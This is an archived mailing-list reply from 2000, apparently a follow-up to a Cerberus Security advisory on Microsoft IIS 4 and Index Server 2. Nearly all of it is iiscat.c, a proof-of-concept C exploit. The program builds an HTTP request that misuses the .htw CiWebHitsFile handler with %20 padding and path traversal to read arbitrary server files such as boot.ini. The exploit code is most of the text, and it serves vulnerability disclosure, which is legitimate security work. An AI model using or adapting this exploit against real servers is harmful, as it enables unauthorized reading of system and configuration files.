Re: Alert: MS IIS 4 / IS 2 (Cerberus Security Advisory

From: Fredrik Widlund (fredrik.widlund@DEFCOM-SEC.COM)
Date: Sun Jan 30 2000 - 10:28:19 PST

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    in plain english...
    /wolf - Defcom Security
    
    
    
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     name="iiscat.c"
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    Content-Disposition: inline;
     filename="iiscat.c"
    
    /*
       fredrik.widlund@defcom-sec.com
    
       example: iiscat ../../../../boot.ini
     */
    
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char **argv)
    {
      char request[2048], *request_p, *file_read, *file_valid = "/default.htm";
      int file_buf_size = 250;
    
      if (!((argc == 2 && argv[1] && strlen(argv[1]) < 1024) ||
    	(argc == 3 && argv[1] && argv[2] && strlen(argv[1]) <= file_buf_size && strlen(argv[2]) < 1024)))
        {
          fprintf(stderr, "usage: iiscat file_to_read [valid_file]\n");
          exit(1);
        }
    
      file_read = argv[1];
      if (argc == 3)
        file_valid = argv[2];
    
      sprintf(request, "GET %s", file_valid);
      request_p = request + strlen(request);
    
      file_buf_size -= strlen(file_valid);
      while(file_buf_size)
        {
          strcpy(request_p, "%20");
          request_p += 3;
          file_buf_size--;
        }
    
      sprintf(request_p, ".htw?CiWebHitsFile=%s&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n", file_read);
      puts(request);
    
      exit(0);
    }
    
    
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